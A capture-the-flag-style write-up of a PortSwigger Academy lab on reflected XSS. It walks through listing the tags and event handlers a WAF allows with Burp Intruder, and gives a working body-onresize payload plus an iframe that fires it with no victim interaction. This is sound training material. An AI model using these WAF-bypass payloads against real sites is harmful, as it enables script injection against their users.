Skip to content

Reflected XSS — WAF Bypass via Event Handler Enumeration

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Reflected XSS — WAF Bypass
Difficulty Practitioner
Injection Point search query parameter
Goal Find an allowed tag and event handler, deliver payload without user interaction

Phase 1 — Reconnaissance

Testing common XSS payloads in the search bar:

<h1>teto</h1>
<script>alert(0)</script>
<img src=teto.png onerror=alert(0)>
Screenshot

All return Tag is not allowed — the WAF is blocking known HTML tags. Rather than guessing, we enumerate systematically.


Phase 2 — Enumerate Allowed Tags

Intercepting the search request and sending to Intruder with the payload position around the tag name:

/?search=<§tag§>
Screenshot

Using the PortSwigger XSS cheat sheet tag list as the payload:

Screenshot
Screenshot

Starting the Sniper attack:

Screenshot

Result: <body> returns HTTP 200 — it is the only non-<xss> tag that passes the WAF.


Phase 3 — Enumerate Allowed Events on body

Sending a new request to Intruder with the <body> tag and fuzzing the event handler:

/?search=<body §event§=alert(0)>
Screenshot

Using the PortSwigger XSS cheat sheet event list as the payload:

Screenshot
Screenshot
Screenshot

Several events return 200. onresize is a good candidate — it fires when the element is resized.


Phase 4 — Confirm Payload Works

/?search=<body onresize=alert(0)>
Screenshot

Resizing the browser window triggered the alert — the payload works.


Phase 5 — Deliver Without User Interaction

The lab requires the payload to execute without any interaction from the victim. The victim cannot be expected to resize their window. Using an iframe that forces its own resize via onload:

<iframe
    src="https://TARGET.web-security-academy.net/?search=<body onresize=print()>"
    onload="this.style.width='100px'">
</iframe>

How this works:

  1. The iframe loads the target page with the <body onresize=print()> payload
  2. The iframe's onload fires after the page finishes loading
  3. this.style.width='100px' changes the iframe's width
  4. The iframe resizes → the <body> inside the iframe resizes → onresize fires → print() executes
Screenshot
Screenshot

Lab solved.


Conclusion

  1. Standard XSS payloads returned Tag is not allowed — the WAF was blocking known HTML tags.
  2. Burp Intruder Sniper attack against the tag list from the PortSwigger cheat sheet identified <body> as the only allowed non-<xss> tag.
  3. A second Intruder attack fuzzed event handlers on <body>onresize (among others) returned 200.
  4. <body onresize=alert(0)> confirmed the payload fired on browser resize.
  5. An iframe with onload="this.style.width='100px'" forced a programmatic resize of the embedded page, triggering onresize without any victim interaction.